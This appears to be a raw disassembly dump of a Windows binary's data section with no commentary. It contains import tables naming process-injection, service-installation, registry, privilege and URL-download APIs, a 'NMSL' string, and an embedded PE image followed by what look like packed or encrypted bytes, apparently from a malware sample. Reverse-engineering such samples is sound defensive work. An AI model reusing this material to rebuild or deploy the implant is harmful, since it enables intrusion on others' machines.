dword_411D90 dd 77EBA6E9h ; DATA XREF: sub_407038r sub_4484A3r dword_411D94 dd 77E7C938h ; DATA XREF: sub_406A81+44r ; sub_409AA0+Br ... dword_411D98 dd 77E99078h ; DATA XREF: sub_4075B0+1Br ; DMN1:00448A36r dword_411D9C dd 77E79B39h ; DATA XREF: sub_407C00+30r ; sub_409360+31r ... dword_411DA0 dd 77E7AC37h ; DATA XREF: sub_407CA0+38r ; sub_44910B+38r dword_411DA4 dd 77E6E154h ; DATA XREF: sub_407CA0+54r ; sub_44910B+54r dword_411DA8 dd 77E73C49h ; DATA XREF: sub_407D30+30r ; sub_44919B+30r dword_411DAC dd 77E6177Ah ; DATA XREF: sub_407E30+92r ; sub_409630+5Er ... dword_411DB0 dd 77F6183Eh ; DATA XREF: sub_40D7B0r sub_44EC1Br dword_411DB4 dd 77E7C726h ; DATA XREF: sub_408940+9r ; sub_449DAB+9r dword_411DB8 dd 77E76E0Bh ; DATA XREF: DMN0:00408966r ; DMN1:00449DD1r dword_411DBC dd 77F516F8h ; DATA XREF: sub_408980+Dr ; sub_449DEB+Dr dword_411DC0 dd 77F5722Fh ; DATA XREF: DMN0:004089B3r ; DMN1:00449E1Er dword_411DC4 dd 77F51597h ; DATA XREF: sub_4089C0+Dr ; sub_449E2B+Dr dword_411DC8 dd 77F522F2h ; DATA XREF: DMN0:004089EFr ; DMN1:00449E5Ar dword_411DCC dd 77E6C924h ; DATA XREF: DMN0:00408A1Dr ; DMN1:00449E88r dword_411DD0 dd 77F53275h ; DATA XREF: sub_408A70+12r ; sub_408A70+32r ... dword_411DD4 dd 77E7A837h ; DATA XREF: sub_408DF0+23r ; DMN0:00408E43r ... dword_411DD8 dd 77E7C5B4h ; DATA XREF: sub_409360+6r ; sub_44A7CB+6r dword_411DDC dd 77E77CC4h ; DATA XREF: sub_409360+46r ; sub_409420+42r ... dword_411DE0 dd 77E72B29h ; DATA XREF: DMN0:004093D7r ; DMN1:0044A842r dword_411DE4 dd 77E78B61h ; DATA XREF: sub_409420+10r ; sub_409490+1Br ... dword_411DE8 dd 77EB9A84h ; DATA XREF: sub_409530+5Fr ; sub_44A99B+5Fr dword_411DEC dd 77E6167Bh ; DATA XREF: sub_4095D0+5r ; DMN0:004095EBr ... dword_411DF0 dd 77E78406h ; DATA XREF: sub_409630+130r ; sub_409630+1C6r ... dword_411DF4 dd 77E79CE3h ; DATA XREF: sub_409630+1F5r ; sub_44AA9B+1F5r dword_411DF8 dd 77E7C931h ; DATA XREF: sub_409630+24Ar ; sub_44AA9B+24Ar dword_411DFC dd 77E67702h ; DATA XREF: sub_409B40+9r ; sub_44AFAB+9r dword_411E00 dd 77E9C5B1h ; DATA XREF: sub_409B40+B0r ; sub_44AFAB+B0r dword_411E04 dd 77E7980Ah ; DATA XREF: sub_409C40+24r ; sub_409C40+8Ar ... dword_411E08 dd 77E7F044h ; DATA XREF: sub_409C40+3Fr ; sub_44B0AB+3Fr dword_411E0C dd 77E79D8Ch ; DATA XREF: sub_40AA00+F5r ; sub_40AA00+15Br ... dword_411E10 dd 77E7FF2Eh ; DATA XREF: sub_40ADA0+4Cr ; sub_40ADA0+5Br ... dword_411E14 dd 77E76968h ; DATA XREF: sub_40B0E0+A9r ; sub_44C54B+A9r dword_411E18 dd 77E78C81h ; DATA XREF: sub_40C180+34r ; sub_44D5EB+34r dword_411E1C dd 77E78B82h ; DATA XREF: sub_40CC20+C4r ; sub_40CC20+249r ... dword_411E20 dd 77E70192h ; DATA XREF: sub_40CFE0+10Cr ; sub_44E44B+10Cr align 8 dword_411E28 dd 77DD590Bh ; DATA XREF: sub_402208+21r ; sub_405517+63r ... dword_411E2C dd 77DD59F0h ; DATA XREF: sub_402208+43r ; sub_405517+8Ar ... dword_411E30 dd 77DD189Ah ; DATA XREF: sub_402208+4Cr ; sub_40225E+2Er ... dword_411E34 dd 77DD22EAh ; DATA XREF: sub_40225E+15r ; sub_405441+5Cr ... dword_411E38 dd 77DD839Fh ; DATA XREF: sub_40225E+25r ; sub_4436C9+25r dword_411E3C dd 77DD6018h ; DATA XREF: sub_40238A+1Fr ; sub_405C00+1Br ... dword_411E40 dd 77DD6034h ; DATA XREF: sub_40238A+2Cr ; sub_405C00+2Ar ... dword_411E44 dd 77DDACABh ; DATA XREF: sub_4040C3+15r ; sub_44552E+15r dword_411E48 dd 77DDA20Bh ; DATA XREF: sub_405048+Br ; sub_405092+12r ... dword_411E4C dd 77DE801Bh ; DATA XREF: sub_405048+1Fr ; sub_405092+29r ... dword_411E50 dd 77DDAB2Fh ; DATA XREF: sub_405048+2Cr ; sub_405048+37r ... dword_411E54 dd 77DDAC5Ch ; DATA XREF: sub_405092+47r ; sub_4051E6+80r ... dword_411E58 dd 77E2BC20h ; DATA XREF: sub_405103+22r ; sub_44656E+22r dword_411E5C dd 77E2BE75h ; DATA XREF: sub_405103+6Dr ; sub_4052BA+C3r ... dword_411E60 dd 77DE8075h ; DATA XREF: sub_4051E6+9Cr ; sub_446651+9Cr dword_411E64 dd 77E2BF4Bh ; DATA XREF: sub_4052BA+4Dr ; sub_446725+4Dr dword_411E68 dd 77E2C1B3h ; DATA XREF: sub_4053FC+2Br ; sub_446867+2Br dword_411E6C dd 77DD23D7h ; DATA XREF: sub_405441+92r ; sub_40576F+71r ... dword_411E70 dd 77DE7E48h ; DATA XREF: DMN0:00405D2Ar ; DMN0:00405D3Dr ... dword_411E74 dd 77DE1356h ; DATA XREF: DMN0:00405D81r ; DMN1:004471ECr dword_411E78 dd 77DE1EBDh ; DATA XREF: sub_405E59+35r ; sub_4472C4+35r dword_411E7C dd 77DF7311h ; DATA XREF: sub_4063D2+11r ; sub_44783D+11r dword_411E80 dd 77DD5D20h ; DATA XREF: sub_4063D2+28r ; sub_44783D+28r dword_411E84 dd 77DDA595h ; DATA XREF: sub_4063D2+5Fr ; sub_44783D+5Fr dd 0 dword_411E8C dd 71AB41DAh ; DATA XREF: sub_40703Er sub_4484A9r dword_411E90 dd 71AB1836h ; DATA XREF: sub_407044r sub_4484AFr dword_411E94 dd 71AB3C22h ; DATA XREF: sub_40704Ar sub_4484B5r dword_411E98 dd 71AD1072h ; DATA XREF: sub_407050r sub_4484BBr dword_411E9C dd 71AB1A6Dh ; DATA XREF: sub_407056r sub_4484C1r dword_411EA0 dd 71AB1890h ; DATA XREF: sub_40705Cr sub_4484C7r dword_411EA4 dd 71AB155Ah ; DATA XREF: sub_407062r sub_4484CDr dword_411EA8 dd 71AB1746h ; DATA XREF: sub_407068r sub_4484D3r dword_411EAC dd 71AB3E5Dh ; DATA XREF: sub_40706Er sub_4484D9r dword_411EB0 dd 71AB3ECEh ; DATA XREF: sub_407074r sub_4484DFr dword_411EB4 dd 71AB5DE2h ; DATA XREF: sub_40707Ar sub_4484E5r dword_411EB8 dd 71AB868Dh ; DATA XREF: sub_407080r sub_4484EBr dword_411EBC dd 71AB1746h ; DATA XREF: sub_407086r sub_4484F1r dword_411EC0 dd 71AD1020h ; DATA XREF: sub_40708Cr sub_4484F7r dword_411EC4 dd 71AB1AF4h ; DATA XREF: sub_407092r sub_4484FDr dword_411EC8 dd 71AB12F8h ; DATA XREF: sub_407098r sub_448503r dword_411ECC dd 71AB2BBFh ; DATA XREF: sub_40709Er sub_448509r dword_411ED0 dd 71AB157Eh ; DATA XREF: sub_4070A4r sub_44850Fr dword_411ED4 dd 71AB32CAh ; DATA XREF: sub_4070AAr sub_448515r dword_411ED8 dd 71AB401Ch ; DATA XREF: sub_4070B0r sub_44851Br dword_411EDC dd 71AB1ED3h ; DATA XREF: sub_4070B6r sub_448521r dword_411EE0 dd 71AD2E5Fh ; DATA XREF: sub_4070BCr sub_448527r dword_411EE4 dd 71AB1740h ; DATA XREF: sub_4070C2r sub_44852Dr dd 0 dword_411EEC dd 76D67CDBh ; DATA XREF: sub_4070C8r sub_448533r dd 0 dword_411EF4 dd 7620AFB6h ; DATA XREF: sub_403838+19r ; sub_444CA3+19r dword_411EF8 dd 76214750h ; DATA XREF: sub_403838+48r ; sub_444CA3+48r dword_411EFC dd 76204E4Dh ; DATA XREF: sub_403838+62r ; sub_403838+94r ... dword_411F00 dd 7620BD61h ; DATA XREF: sub_403838+F1r ; sub_444CA3+F1r dd 0 dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h dd 636F4C74h, 69546C61h, 656Dh, 65470000h, 646F4D74h, 46656C75h dd 4E656C69h, 41656D61h, 0 aLocalalloc db 'LocalAlloc',0 align 4 dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h dd 0 aGetlasterror_0 db 'GetLastError',0 align 10h aMapviewoffile db 'MapViewOfFile',0 align 10h aUnmapviewoffil db 'UnmapViewOfFile',0 dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h dd 0 aOpenmutexa db 'OpenMutexA',0 align 10h dd 72430000h, 65746165h, 636F7250h, 41737365h, 0 aSetlasterror db 'SetLastError',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h dd 6C694670h, 6D614E65h, 4165h, 6F430000h, 69467970h, 41656Ch dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aInterlockedexc db 'InterlockedExchangeAdd',0 align 10h dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h dd 6E657645h, 4174h, 65530000h, 65764574h, 746Eh, 61570000h dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h dd 0 aGetfileattribu db 'GetFileAttributesA',0 align 4 dd 65520000h, 45746573h, 746E6576h, 0 aFindresourcea db 'FindResourceA',0 align 4 aSizeofresource db 'SizeofResource',0 align 4 dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h dd 72756F73h, 6563h, 65470000h, 72754374h, 746E6572h, 636F7250h dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh dd 0 aGetmodulehandl db 'GetModuleHandleA',0 align 4 aGetprocaddress db 'GetProcAddress',0 align 4 dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh dd 0 aCreateremoteth db 'CreateRemoteThread',0 align 10h dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh dd 3233706Ch, 70616E53h, 746F6873h, 0 aProcess32first db 'Process32First',0 align 10h dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h dd 642E3233h, 6C6Ch, 65520000h, 65724367h, 4B657461h, 78457965h dd 41h, 53676552h, 61567465h, 4565756Ch, 4178h, 65520000h dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 44676552h, 74656C65h, 79654B65h, 41h, 74696E49h dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h dd 726F7470h, 0 aSetsecuritydes db 'SetSecurityDescriptorDacl',0 align 10h aGetusernamea db 'GetUserNameA',0 align 10h aOpenscmanagera db 'OpenSCManagerA',0 align 10h dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh dd 69767265h, 61486563h, 656C646Eh, 0 aQueryservicest db 'QueryServiceStatus',0 align 4 dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh dd 4167h, 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h dd 65746165h, 76726553h, 41656369h, 0 aDeleteservice db 'DeleteService',0 align 10h aRegqueryvaluee db 'RegQueryValueExA',0 align 4 aSetservicest_2 db 'SetServiceStatus',0 align 4 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0 dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h dd 6E656B6Fh, 0 aAdjusttokenpri db 'AdjustTokenPrivileges',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 aS_1: unicode 0, <s>,0 aT: unicode 0, <t>,0 dd 17h, 15h, 3, 12h, 0Ch, 9, 4, 2, 0Dh, 1, 0Fh, 10h, 13h dd 0Ah, 34h, 6, 39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0 aInternetopena db 'InternetOpenA',0 align 10h aInternetopen_0 db 'InternetOpenUrlA',0 align 4 aInternetcloseh db 'InternetCloseHandle',0 dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h dd 68546574h, 64616572h, 0 aResumethread db 'ResumeThread',0 align 4 aExitthread_0 db 'ExitThread',0 align 4 dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h, 65480000h dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h dd 6565h, 65480000h, 69537061h, 657Ah, 65480000h, 61567061h dd 6164696Ch, 6574h, 65440000h, 6574656Ch, 74697243h, 6C616369h dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h dd 41h, 41736C54h, 636F6C6Ch, 0 aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h dd 746C6946h, 7265h, 65470000h, 73795374h, 546D6574h, 41656D69h dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h dd 6C646E61h, 756F4365h, 746Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h dd 416C6175h, 636F6C6Ch, 0 aVirtualquery db 'VirtualQuery',0 align 4 aWritefile db 'WriteFile',0 align 4 aSetstdhandle db 'SetStdHandle',0 align 4 aSetconsolectrl db 'SetConsoleCtrlHandler',0 align 10h aSetfilepointer db 'SetFilePointer',0 align 10h dd 65520000h, 69466461h, 656Ch, 65530000h, 646E4574h, 6946664Fh dd 656Ch dword_4127EC dd 960000h ; DATA XREF: sub_407F60+44r ; sub_407F60+51r ... dword_4127F0 dd 0 ; DATA XREF: sub_407F60:loc_407F9Fr ; sub_407F60+57r ... dword_4127F4 dd 3F0000h ; DATA XREF: sub_408940+Fw ; DMN0:00408960r ... dword_4127F8 dd 14CF88h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411220o dword_412810 dd 14CF60h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_41121Co dword_412828 dd 14CF38h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411218o dword_412840 dd 14CF10h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411214o dword_412858 dd 0DE00D9AEh ; DATA XREF: sub_4095D0o ; DMN0:004095F7r ... dword_41285C dd 1C81AB9h ; DATA XREF: DMN0:004095FDr ; DMN1:0044AA68r dword_412860 dd 14C530h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40103Co ; sub_401048+4o ... dword_412878 dd 14C580h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401097o ; DMN0:004010D2o ... dword_412890 dd 14C558h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401165o ; DMN0:004011DEo ... dword_4128A8 dd 3F2318h ; DATA XREF: sub_40122A+18r ; sub_40122A+41w ... dword_4128AC dd 0 ; DATA XREF: sub_406A81+63r ; sub_406A81+268r ... dword_4128B0 dd 0 ; DATA XREF: sub_406A81+DAr ; sub_406A81+F5r ... dword_4128B4 dd 0 ; DATA XREF: sub_406A81+D4r ; sub_406A81+10Dr ... dd 1Dh dup(0) dword_41292C dd 3 dup(0) ; DATA XREF: sub_4023DC+15o ; sub_443847+15o dword_412938 dd 9503F8h ; DATA XREF: sub_403B86+1Cr ; sub_403B86+3Dr ... dword_41293C dd 0 ; DATA XREF: DMN0:00405D1Fo ; DMN0:loc_405D32o ... dword_412940 dd 0 ; DATA XREF: DMN0:loc_405D15w ; DMN0:loc_405D45w ... dword_412944 dd 0 ; DATA XREF: DMN0:00405DCBw ; DMN1:00447236w dd 3 dup(0) dword_412954 dd 0 ; DATA XREF: DMN0:00405DD2w ; DMN1:0044723Dw dword_412958 dd 0 ; DATA XREF: DMN0:00405D24r ; DMN0:00405D37r ... off_41295C dd offset aNmsl ; DATA XREF: DMN0:00405D7Br ; sub_405E59:loc_405E67r ... ; "NMSL" dword_412960 dd 0 ; DATA XREF: sub_405E59+13w ; sub_405E59+30o ... dword_412964 dd 0 ; DATA XREF: sub_405E59+18w ; sub_4472C4+18w dword_412968 dd 0 ; DATA XREF: sub_405E59+22w ; sub_4472C4+22w dword_41296C dd 0 ; DATA XREF: sub_405E59+29w ; sub_4472C4+29w dword_412970 dd 0 ; DATA XREF: sub_406010+Br ; sub_406010+5Fr ... dword_412974 dd 400h dup(0) ; DATA XREF: sub_40628E+1Bo ; sub_40628E+31o ... dword_413974 dd 14C5A8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_406A81+2Fo ; sub_447EEC+2Fo dword_41398C dd 3F1E90h ; DATA XREF: sub_409110+6Fr ; sub_4091B0+1Br ... dd 3Fh dup(0) dword_413A8C dd 20h ; DATA XREF: sub_4091B0+6r ; sub_409630+28w ... dd 15Dh dup(0) dd 47220F21h, 0 dd 10000h, 0Ah, 80000018h, 0 dd 47220F21h, 0 dd 10000h, 1F41h, 80000030h, 0 dd 47220F21h, 0 dd 10000h, 419h, 48h, 14058h, 17278h, 2 dup(0) dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0 dd 1A0040h, 8 dup(0) dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0) dd 4550h, 3014Ch, 3 dup(0) dd 0A18E00E0h, 10Bh, 3 dup(0) dd 47C5Ah, 1000h, 0 dd 10000000h, 1000h, 200h, 2 dup(0) dd 4, 0 dd 49000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 48038h, 28h, 6 dup(0) dd 48060h, 10h, 14h dup(0) aDmn0 db 'DMN0',0 align 4 dd 30000h, 1000h, 5 dup(0) dd 0C0000060h, 314E4D44h, 0 dd 16C83h, 31000h, 16E00h, 400h, 3 dup(0) dd 0E0000060h, 324E4D44h, 0 dd 78h, 48000h, 78h, 17200h, 3 dup(0) dd 0C0000060h, 64h dup(0) dd 4271523Bh, 0FB7BADD9h, 854EA64Bh, 0CC1754A7h, 0F3D7B33h dd 0F5962BFCh, 0B4AD4E64h, 0D58C5270h, 4E67126Dh, 0A04C07FCh dd 0EEF05CEAh, 0BDB012BCh, 110FF0B1h, 0BA3230Ah, 0B910C8FBh dd 0FAF24E31h, 4732A3AFh, 0ED0BF758h, 1917285Ah, 0E908C81Ah dd 89A92878h, 5CC91590h, 7E890FC3h, 0FC66C5AFh, 958AF618h dd 4041E609h, 0B4B1664Dh, 76D3CA52h, 25FAE2BCh, 0B8275F98h dd 9930A2EFh, 0FE0F968h, 7F579790h, 60C14DC7h, 921AD30Fh dd 0F6AE2BACh, 68DF1AADh, 0BE4AAE9Fh, 0FF99515h, 744C3C97h dd 0FFF76214h, 4E9A696Dh, 94590AACh, 0DAC94ED0h, 27311A1Dh dd 22333AA3h, 2208ADCEh, 0E5A4BF1h, 67F27FE6h, 96B0554Fh dd 0CAFFBBE1h, 0A4108C77h, 6E5E21C3h, 0A4360676h, 0AA1EC182h dd 895AF348h, 0D5BEB61Fh, 118D9872h, 5EAC2563h, 0C681B051h dd 0D0C9EEAFh, 0DA396419h, 445904BBh, 5305290h, 37A22758h dd 23DF964Eh, 0D3080101h, 6086E64Fh, 98CB8FC1h, 0F074DF8Bh dd 1DA8D20Eh, 8F36C7BCh, 37A7E692h, 0F73C7C8Ah, 27C69784h dd 0A3887A3Eh, 0DEEE2BFEh, 0BAADAB1Ah, 6C75FEEEh, 0E31CA04Fh dd 0D6F59971h, 14C58ADh, 0CC36940Eh, 0E3B151D6h, 3BE04042h dd 9466656Fh, 0F176BB4Bh, 0E56AF20Bh, 2BC17277h, 0B7BBCC13h dd 2B8A6A0h, 31FFAD5h, 9FBBABA1h, 94E90BF5h, 1BA7AAD3h dd 57F938CAh, 1656D13Eh, 0EFD79247h, 0C824F886h, 6467D92Ch dd 544DA9F0h, 466219D2h, 0B5B9B5E0h, 106C472Ch, 0FB1F1825h dd 7962BE6Ah, 7A21AEA4h, 0C3173E30h, 0AFE33D9Fh, 836BE899h dd 0F0B25872h, 0D753E729h, 0B40BD96Bh, 2E52482Eh, 0AA18E094h dd 54CCA910h, 0C5682487h, 0CD3E110Ah, 477BD2DAh, 3C03AA82h dd 0AE4FE8F1h, 692BE96Ah, 691A1836h, 750F220h, 0B9AB7214h dd 693DFA4Bh, 9965E6BCh, 0A1CDF690h, 9E0CADEEh, 4D307725h dd 7E14E8Ch, 9831F8A1h, 0C821DE35h, 0C3768B31h, 0FD9F22C5h dd 0CE8F9A53h, 0B3D63A5Fh, 53BA4921h, 0B5920CF2h, 5E063F23h dd 642BBE1Dh, 15A6643Dh, 5BC4B5FCh, 0F005091h, 0F63012DBh dd 30B3347Fh, 38C369Dh, 2CC0B7E7h, 78C6CDBEh, 0C121AC01h dd 0BBA58590h, 0C35D483Bh, 2699D6C8h, 0E9C85AA6h, 25384C82h dd 0C589F478h, 2E565DEh, 0F7518D31h, 97AE8D2h, 2AE860B4h dd 3006E848h, 721187E4h, 4C89D317h, 4C1D3BEBh, 0B17501F4h dd 25948F33h, 78C52EAEh, 755D17A6h, 0C650183Fh, 0FF467E1Bh dd 52F3169Fh, 0AB539F4Dh, 8E7AA5DDh, 0E8BD4EE4h, 0E53C65FAh dd 0EC00C9F1h, 36E50463h, 85C29107h, 8F7D24Fh, 0FF902FE6h dd 5E88E4D3h, 0ACEC3771h, 0A92BF95Ah, 0A19F50AAh, 6C65FAF2h dd 57F4AC57h, 74CCA92Dh, 1F9B9401h, 6075B2C4h, 3C3EBCCDh dd 4FFF595Dh, 5FA97977h, 885340ECh, 7022F058h, 1AB2CB76h dd 0BA7C78E1h, 8CA60985h, 856FA65Bh, 0FAAC84Ch, 61C549B2h dd 83B9F98Dh, 0EDF3D827h, 0E3D16322h, 94657A52h, 35EC1B90h dd 4D2E8526h, 6B1DA68Ch, 0DC50F10Ah, 1AD103AFh, 0C7D47F65h dd 39D2D89Dh, 97344258h, 63953147h, 8372E0D4h, 110357A3h dd 5406136Ah, 11F09840h, 0B6BBA602h, 8C99759Dh, 2E828AD2h dd 329EFDF1h, 0E158D4Bh, 74EB3C29h, 8C658604h, 0DBD20BC1h dd 98EFA43Fh, 3368B046h, 18851380h, 0CEDBF508h, 62FCE3BFh dd 849F8493h, 130ABAEFh, 0BF94D6FAh, 926C351Ah, 4AF232BFh dd 297D190Ch, 0F7A87F75h, 389D02AEh, 0B831698h, 0A59DD298h dd 0F1116D44h, 3B2FBD7Bh, 5F63CA84h, 0F5E62D5Dh, 3360CE0Bh dd 0CC70D82Eh, 0C3C670Ch, 7515BB24h, 0ACB12FECh, 0EBF281E8h dd 5A4FA938h, 0E367F226h, 0A5F15586h, 37B6A939h, 91B61A39h dd 0FC5E6DEh, 0F13CB119h, 8AB86236h, 16333DF6h, 0DFA43AE3h dd 8A218102h, 5244A748h, 2BFA4F78h, 52F28E0Ch, 76BB5948h dd 2E843CA6h, 432C40C9h, 0BADC2AD8h, 14A20E69h, 2891E303h dd 4FCACB0Ch, 86702440h, 0FA8270DBh, 0D473ADF6h, 4ADBAB2Dh dd 6D8BAD2Eh, 0AA5ED4E2h, 0FFF4F308h, 0AB17937Eh, 5126D87Fh dd 0A3104582h, 182C99F4h, 0ED609BFBh, 706C60CBh, 0A6B54990h dd 6ADF69C4h, 6C4CC33h, 0EFF7EE36h, 5E945627h, 1D5F9A94h dd 8A6A0EDBh, 5091FC71h, 6A3F727h, 0B23E99C8h, 2D4432D8h dd 0C9F35C19h, 0B7189FFAh, 717FFE2Eh, 244368D6h, 0F252C373h dd 0A4C56A30h, 4E6A0B3h, 0A543B30h, 0E613F987h, 51D512C6h dd 7FB4h, 0A2A2A7BDh, 98306D26h, 95036055h, 0C7FDACF2h dd 85007F24h, 0B3693D99h, 0D30480DFh, 84932E66h, 0A9EA3570h dd 97F7EBD2h, 0EE939DE2h, 6524CB1Bh, 79744054h, 864E13Dh dd 0DF111DB4h, 9BD37C81h, 0E4BA7CF2h, 61C98A46h, 8A0DBA49h dd 5FABF363h, 0BC0DDBF9h, 14687C6Dh, 3D9CC0A5h, 9AEF8303h dd 626A03F7h, 805C25D4h, 33CF1B79h, 9E5E9264h, 0BD09C998h dd 0B06081C0h, 544ABF64h, 91FD0FB8h, 0CB5629BFh, 0F287B083h dd 0DA78B800h, 0A4686B57h, 347FD31Eh, 0E3EF3B80h, 0DBB1F98Ch dd 3D4A8B22h, 698BAB46h, 0B8CC3F60h, 38920F0Bh, 0D63B4C88h dd 8526272Bh, 0AF55FA94h, 3EF618E0h, 36CF1C5Dh, 3B0BCB90h dd 0D1B12Ah, 0E982B759h, 89A49D18h, 0B3FAD3FCh, 64503B19h dd 0AC6900D2h, 91E406CBh, 0F4E9A656h, 4428317Eh, 0CF8DD477h dd 0B6B4B086h, 4A513769h, 8D1470DFh, 0DD91D917h, 85F4BB6Ah dd 3342798Eh, 154CBD76h, 47AD374Eh, 70EF27A0h, 4E0E4DEh dd 0E18C7CEh, 0B53D5307h, 72EDA8BEh, 29C9D80Fh, 0AF52258h dd 0BF30B497h, 0B585C69Fh, 0ED0ADD25h, 0CAFDA629h, 63A23978h dd 62A7396Fh, 7D63A9Ah, 0DEF8C3D5h, 4D19107Ah, 0DF0DFCFBh dd 7993253Ah, 0B89CE252h, 0D6DB0953h, 0F015D552h, 0C5428257h dd 3A0395ADh, 31F89566h, 0B5137B0Ch, 31BE4265h, 0D427203Dh dd 71CD6E66h, 43FD98B6h, 1F148064h, 0D89E90AFh, 269E9AE4h dd 0DD0A6A2Fh, 19AC3023h, 0BB8B3872h, 2D0F71B5h, 392E87C7h dd 65D273FCh, 0CA0001F6h, 23B18598h, 0D15488A4h, 2AC8BCDEh dd 5BFA02h, 1F72E95Bh, 2588A3DEh, 0ECB04DA3h, 1C65EF2Bh dd 0A5D0BF9Dh, 76B0E526h, 49BB5BCBh, 9A914C92h, 0CDE28274h dd 0AEC0AFC1h, 0B0594197h, 9E781AE4h, 0F0EBB9BDh, 9147DAA0h dd 0A30D6682h, 7E223DEFh, 0CF4FC4FAh, 48CF6925h, 0CB58457Ah dd 447F7BF4h, 0FFE881AEh, 885DB8AEh, 0D1205D2Bh, 90D9F602h dd 0CFA34A1h, 7786A30Bh, 93EE29AFh, 8B32D3FBh, 3A833897h dd 353F227Fh, 653194D3h, 0E081F5CCh, 3BEBF4DEh, 0F0CF6BFFh dd 5433D785h, 58CD9D45h, 10C141B2h, 890CB73Eh, 3D31C659h dd 942EF4Dh, 537C3B65h, 0B41F91Ch, 588B144Bh, 436197A2h dd 0D7095435h, 8C49C2F7h, 153DB5A7h, 786F7E05h, 0FECBD660h dd 0F3D06CC9h, 8982E30Ah, 0E28941EDh, 0D6BEC4C9h, 2D1D5000h dd 6F7A64F9h, 0A6385CD4h, 2D672D8Eh, 0A1C8B002h, 9D164252h dd 2CCB692Ah, 81195BD5h, 63935597h, 27FD8F65h, 288B18DBh dd 0AC5197F8h, 7F1E3127h, 594145D8h, 15BB22C9h, 2CFDE88Ch dd 0E3E8284Fh, 6A476C0Eh, 6BBD1F75h, 2F4A5188h, 2E48FEFh dd 0FD7C3456h, 72DE24B2h, 321252FAh, 8392BCAh, 11A1E890h dd 0CF0CC260h, 384E22D2h, 0C60C96E0h, 0CB1D6D2Ch, 6D5160Dh dd 3847C835h, 2B792EF5h, 24CB53E0h, 67922FFAh, 64EE456Dh dd 280F2D9Ah, 1FA9683Ch, 433B0047h, 0EC9A3D97h, 97D13D29h dd 0F5FE33BFh, 60A421ADh dd 8F408456h, 0AA137F01h, 3D046622h, 77E0A3B2h, 0B0994AFCh dd 3549964Ch, 0F6684D3Eh, 